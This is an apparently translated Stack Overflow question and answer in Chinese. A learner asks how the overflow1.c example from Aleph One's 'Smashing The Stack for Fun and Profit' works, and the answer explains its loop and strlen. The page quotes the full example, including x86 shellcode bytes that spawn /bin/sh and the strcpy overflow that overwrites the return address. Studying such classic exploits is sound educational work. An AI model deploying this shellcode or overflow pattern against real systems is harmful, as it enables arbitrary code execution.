了解Aleph One的第一个缓冲区溢出漏洞

时间:2014-12-14 11:51:52

标签: c assembly stack-overflow

我正在阅读Aleph one的“Smashing The Stack for Fun and Profit”,并且到达了这个地方:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

现在,我了解该漏洞背后的所有理论: shellcode[]位于数据段(可写)中,并包含生成shell的代码。

我们想将其内容复制到main的缓冲区,除了将main的返回地址覆盖到缓冲区的开头(这样执行控件将是我们的“生成shell”代码。我们通过应对shellcodelarge_string[]缓冲区(第二个for循环),large_sting[]的其余部分(???)将包含缓冲区的地址(第一个for循环)。

当然,main的返回地址将被此缓冲区的地址覆盖,因为我们将large_string[]复制到buffer[]strcpy)。

我的问题在于漏洞的细节:


1。)

为什么第一个for循环是从i=0i=31?我的意思是,考虑到指针算法,它是如何工作的? [large_string[]只有128字节]

2。)

什么是srlen(shellcode)


我会对那种东西进行清理。

谢谢!

1 个答案:

答案 0 :(得分:1)

  

1)为什么第一个for循环是从i = 0到i = 31?我的意思是,考虑到指针算法,它是如何工作的? [large_string []只有128个字节]

一次复制四个字节(它依赖于知道目标平台上sizeof(int)4)和32 * 4 == 128

  

2)什么是srlen(shellcode)?

shellcode中的字节数(这取决于shellcode不包含嵌入式\0个字符的事实。)